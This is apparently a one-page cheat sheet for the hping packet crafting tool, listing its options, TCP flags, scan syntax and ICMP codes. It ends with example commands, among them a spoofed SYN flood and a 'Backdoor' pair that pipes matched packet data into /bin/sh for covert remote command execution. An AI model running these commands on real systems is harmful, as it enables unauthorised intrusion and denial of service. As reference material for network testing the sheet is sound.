BASE OPTIONS

-q --quiet **-v --version**
-I --interface **-V --verbose**
-D --debug
-c --count count response packets
-i --interval secs or µsecs with **u** [1]
--beep beep every received packet (no icmp)
-n --numeric don't resolv
-z --bind use ctrl+z to increment TTL
-Z --unbind
--fase 10 packets / sec
--master 1 packet / µs
--flood as fast as posible

COMMON OPTIONS

-d --data datasize packet body size
-E --file insert into packet's data
-e --sign signature lenght
-j --dump received packets in hex
-J --print dump in printable char
-B --safe lost pckts will be resend
-u --end send EOF when --file
-T --traceroute traceroute mode, also:
--tr-keep-ttl keep TTL fixed
--tr-stop exit on first not time icmp exceed
--tr-no-rtt dont show RTT
--tcpexitcode set exit code to tcp→th_flag of last packet

[?] : default value

IP RELATED OPTIONS

-a --spoof hostname
--rand-source
--rand-dest host accepts X as wildcard
-t --ttl set ttl value
-N --id ip id [random]
-H --ipprot ip protocol in raw ip mode
-W--winid display id replies from win
-r --rel id increments
-f --frag split packets, [16bytes]
-x --morefrag send ICMP time-exceded
-y --dontfrag perform PDMTU
-g --fragoff fragment offset value
-G --rroute includes RECORD_ROUTE
-m --mtu value
-o --tos set type of service, on hex

ICMP RELATED OPTIONS

-C --icmptype default [echo]
-K --icmpcode ICMP code [0]
--icmp-ipver ip version [4]
--icmp-iphlen ip header length [5]
--icmp-iplen ip packet lenght [real len]
--icmp-ipid set ip id [rand]
--icmp-ipproto set ip protocol [tcp]
--icmp-cksum set checksum [valid]
--icmp-ts timestamp req
--icmp-addr mask req

TCP/UDP RELATED OPTIONS

-s --baseport [random],+1 on received
-p --destport [0] if have, have:
+port increased for each reply
++port increased for each sent
--keep still source port
-w --win set win size [64]
-O --tcpoff **-b --badchksum**
-M --setseq **-L --setack**
-Q --seqnum collect seq numbers
--tcp-timestamp set timestamp

TCP FLAGS

-F --fin **-S** --syn **-R** --rst
-P --push **-A** --ack **-U** --urg
-X --xmas **-Y** --ymas

PROTOCOL SELECTION

-0 --rawip **-1 --icmp** **-2 --ucp**
-8 --scan with:
group ex: 20-53
comma delimited ex: 1,3,4
known: for /etc/services
negated with !ex: 1-53,!4
-9 --listen string match

ICMP CODES

0	Echo Reply
1	Unassigned
2	Unassigned
3	Destination Unreachable
4	Source Quench
5	Redirect
6	Alternate Host Address
7	Unassigned
8	Echo
9	Router Advertisement
10	Router Selection
11	Time Exceeded
12	Parameter Problem
13	Timestamp
14	Timestamp Reply
15	Information Request
16	Information Reply
17	Address Mask Request
18	Address Mask Reply
19	Reserved (for security)
20-29	Reserved (Experimental)
30	Traceroute
31	Datagram Conversion Error
32	Mobile Host Redirect
33	IPv6 Where-Are-You
34	IPv6 I-Am-Here
35	Mobile Registration Request
36	Mobile Registration Reply
37	Domain Name Request
38	Domain Name Reply
39	SKIP
40	Photuris
41-255	Reserved

SecurityByDefault.com

hping

Uptime: hping2 -p 80 -S --tcp-timestamp *host*
PortScan: hping -i eth0 --scan 20-25,80,443 -S *host*
Synflood: hping –p 80 –i u10000 –a *source* –S *host*
Backdoor: **S** → hping3 -I eth1 -9 secret | /bin/sh
C → hping3 -R *ip* -e secret -E *command_file* -d 100 -c 1